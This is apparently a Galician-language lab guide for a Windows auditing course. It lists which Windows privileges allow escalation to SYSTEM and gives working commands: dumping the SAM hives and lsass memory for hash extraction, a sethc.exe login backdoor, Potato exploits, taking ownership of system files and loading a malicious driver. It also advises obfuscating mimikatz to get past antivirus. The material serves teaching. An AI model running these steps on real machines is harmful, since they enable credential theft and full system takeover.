Privilexios Clave e Métodos de Explotación
URL de interese
https://books.spartan-cybersec.com/cpad/post-explotacion-en-windows/privilegios-en-windows
Privilexios que permiten escalada:
| Privilexio | Capacidade | Método de escalada |
|---|---|---|
| SeBackupPrivilege | Ler calquera ficheiro | Dump SAM → Pass-the-Hash |
| SeRestorePrivilege | Escribir en calquera localización | Modificar ficheiros de sistema |
| SeImpersonatePrivilege | Suplantar identidade | Potato exploits → SYSTEM |
| SeAssignPrimaryToken | Asignar token primario | Potato exploits → SYSTEM |
| SeDebugPrivilege | Depurar procesos | Dump memoria de lsass.exe |
| SeTakeOwnershipPrivilege | Tomar propiedade de ficheiros | Modificar ficheiros críticos |
| SeLoadDriverPrivilege | Cargar drivers | Cargar driver malicioso |
Comandos útiles:
# Ver privilexios do usuario actual
whoami /priv
# Ver todos os privilexios dispoñibles
whoami /all
# Ver grupos do usuario
whoami /groups
SeBackupPrivilege
Prácticas Taller MS Windows
Auditar contrasinais - Módulo Bastionado de redes e sistemas
Este privilexio permite ao usuario ou proceso ler calquera ficheiro do sistema, independentemente dos permisos de ACL (Access Control List), xa que se comporta como un "copiador de seguridade".
- Capacidade clave: Ler calquera ficheiro.
-
Método de escalada/uso en laboratorio:
-
Dump do Rexistro (SAM, SYSTEM, SECURITY): Podes usar
reg savepara gardar as hives do rexistro que conteñen información sensible, como as hashes das contrasinais locais (SAM).Unha vez que teñas estes ficheiros, podes extraelos do sistema e usar ferramentas comoreg save HKLM\SYSTEM c:\temp\SYSTEM.hive reg save HKLM\SAM c:\temp\SAM.hive reg save HKLM\SECURITY c:\temp\SECURITY.hivesecretsdump.pyde Impacket (nunha máquina Linux) para obter as hashes de NTLM. -
Acceso a ficheiros sensibles: Tamén poderías acceder a outros ficheiros que normalmente estarían restrinxidos. Por exemplo, un ficheiro de configuración que contén credenciais.
-
SeRestorePrivilege
Prácticas MS Windows
Este privilexio permite ao usuario ou proceso escribir en calquera localización do sistema, incluso en ficheiros protexidos.
- Capacidade clave: Escribir en calquera localización.
- Método de escalada/uso en laboratorio:
- Modificar ficheiros de sistema: Poderías substituír executables do sistema ou scripts de inicio por versións maliciosas. Por exemplo, substituír
sethc.exe(as teclas adhesivas) porcmd.exe. Isto permite que, ao premer Shift cinco veces na pantalla de inicio de sesión, se lance un shell de administrador.- Facer unha copia de seguridade do orixinal:
copy c:\windows\system32\sethc.exe c:\temp\sethc.bak - Substituír:
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe - Reiniciar e premer Shift cinco veces.
- Facer unha copia de seguridade do orixinal:
- Modificar ficheiros de sistema: Poderías substituír executables do sistema ou scripts de inicio por versións maliciosas. Por exemplo, substituír
SeImpersonatePrivilege e SeAssignPrimaryTokenPrivilege
Estes privilexios son fundamentais para os "Potato Exploits", que permiten a un servizo de baixo privilexio suplantar tokens de seguridade de contas con maior privilexio, xeralmente NT AUTHORITY\SYSTEM.
- Capacidade clave: Suplantar identidade (SeImpersonatePrivilege), Asignar token primario (SeAssignPrimaryTokenPrivilege).
- Método de escalada/uso en laboratorio:
- Potato Exploits (Sigmapotato, JuicyPotato, RottenPotatoNG, etc.): Estas ferramentas aproveitan vulnerabilidades en como Windows manexa as comunicacións de RPC e as capacidades de suplantación.
- Exemplo con Sigmapotato:
- Descarga o binario Sigmapotato.exe (ou calquera Potato exploit) e cargao na máquina obxectivo.
- Executa a ferramenta, especificando un comando a executar co token de SYSTEM.
Isto debería crear un ficheiro
Sigmapotato.exe -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\System32\whoami.exe > c:\temp\whoami_output.txt"whoami_output.txtco resultado dewhoami, mostrandont authority\system. - Para un shell interactivo:
Sigmapotato.exe -c "C:\Windows\System32\cmd.exe" -a "/k C:\Windows\System32\cmd.exe"(pode requirir xogar con pipes ou payloads de Meterpreter para obter un shell totalmente interactivo).
- Exemplo con Sigmapotato:
- Potato Exploits (Sigmapotato, JuicyPotato, RottenPotatoNG, etc.): Estas ferramentas aproveitan vulnerabilidades en como Windows manexa as comunicacións de RPC e as capacidades de suplantación.
SeDebugPrivilege
Permite a un proceso depurar outros procesos, incluso aqueles con maiores privilexios.
- Capacidade clave: Depurar procesos.
- Método de escalada/uso en laboratorio:
- Dump de memoria de
lsass.exe:lsass.exealmacena as credenciais dos usuarios que iniciaron sesión (en forma de hashes NTLM e, ás veces, texto claro para Kerberos). Unha vez que teñas o ficheirolsass.dmp, podes extraelo do sistema e usar ferramentas comomimikatz(nunha máquina de atacante) para extraer as credenciais: Nota:mimikatzé detectado por moitos antivirus, polo que no laboratorio deberías desactivalo ou usar técnicas de ofuscación.
- Dump de memoria de
SeTakeOwnershipPrivilege
Este privilexio permite ao usuario tomar posesión de calquera obxecto (ficheiros, carpetas, claves de rexistro, etc.), o que á súa vez lle permite modificar os permisos de ACL para obter acceso total.
- Capacidade clave: Tomar propiedade de ficheiros/obxectos.
- Método de escalada/uso en laboratorio:
- Modificar ficheiros críticos:
- Tomar propiedade:
takeown /f C:\Windows\System32\drivers\etc\hosts - Modificar ACLs:
icacls C:\Windows\System32\drivers\etc\hosts /grant UsuarioDoLaboratorio:F(para dar control total) - Agora podes editar o ficheiro
hostsou calquera outro ficheiro do sistema que escollas para obter control.
- Tomar propiedade:
- Modificar rexistro: Tomar propiedade dunha clave de rexistro e logo modificar os seus permisos para ter control total.
- Modificar ficheiros críticos:
SeLoadDriverPrivilege
Permite a un usuario cargar e descargar drivers no núcleo de Windows.
- Capacidade clave: Cargar drivers.
- Método de escalada/uso en laboratorio:
- Cargar driver malicioso: Poderías cargar un driver que se execute en modo kernel e que poida realizar accións como:
- Desactivar antivirus.
- Inxectar código en procesos do sistema.
- Escalar privilexios directamente (moitos exploits de 0-day de Windows son drivers vulnerables).
- Exemplo (conceptual, máis complexo): Isto normalmente require compilar un driver personalizado e cargalo. Ferramentas como
KDU (Kernel Driver Utility)ouPCILeechpoden ser usadas para interactuar con drivers a nivel de kernel, pero isto é unha área moito máis avanzada e require un bo coñecemento de programación de drivers e a arquitectura do kernel.- Carga dun driver (exemplo xenérico cun driver .sys e un servizo):
(Isto presupón que tes un driver
# Crear un servizo para o driver sc create MyMaliciousDriver binPath= "C:\path\to\MyMaliciousDriver.sys" type= kernel # Iniciar o servizo (cargando o driver) sc start MyMaliciousDriver.sysfuncional e asinado ou que o sistema permite drivers sen asinar).
- Carga dun driver (exemplo xenérico cun driver .sys e un servizo):
- Cargar driver malicioso: Poderías cargar un driver que se execute en modo kernel e que poida realizar accións como: